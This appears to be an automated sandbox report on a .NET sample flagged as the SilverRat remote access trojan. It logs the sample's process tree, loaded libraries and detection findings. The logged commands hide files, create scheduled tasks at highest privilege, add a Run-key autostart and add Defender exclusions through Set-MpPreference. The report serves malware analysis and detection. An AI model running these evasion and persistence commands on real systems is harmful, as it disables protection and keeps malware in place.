Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java\$77java.exe"
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\java\$77java.exe "C:\Users\user\java\$77java.exe"
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77java.exe" /TR "C:\Users\user\java\$77java.exe \"\$77java.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "java_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\java\$77java.exe C:\Users\user\java\$77java.exe "\$77java.exe" /AsAdmin
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java"	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java\$77java.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\java\$77java.exe "C:\Users\user\java\$77java.exe"	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77java.exe" /TR "C:\Users\user\java\$77java.exe \"\$77java.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "java_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RLesaPFXew.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RLesaPFXew.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: RLesaPFXew.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: RLesaPFXew.exe, MessageRead.cs	.Net Code: RecoveryData System.Reflection.Assembly.Load(byte[])
Source: $77java.exe.0.dr, MessageRead.cs	.Net Code: RecoveryData System.Reflection.Assembly.Load(byte[])

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe

File created: C:\Users\user\java\$77java.exe

Jump to dropped file

Boot Survival

Yara detected SilverRat

Source: Yara match	File source: RLesaPFXew.exe, type: SAMPLE
Source: Yara match	File source: 0.0.RLesaPFXew.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLesaPFXew.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\java\$77java.exe, type: DROPPED

Creates autostart registry keys to launch java

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NULL "C:\Users\user\java\$77java.exe"

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\java\$77java.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\java\$77java.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\java\$77java.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
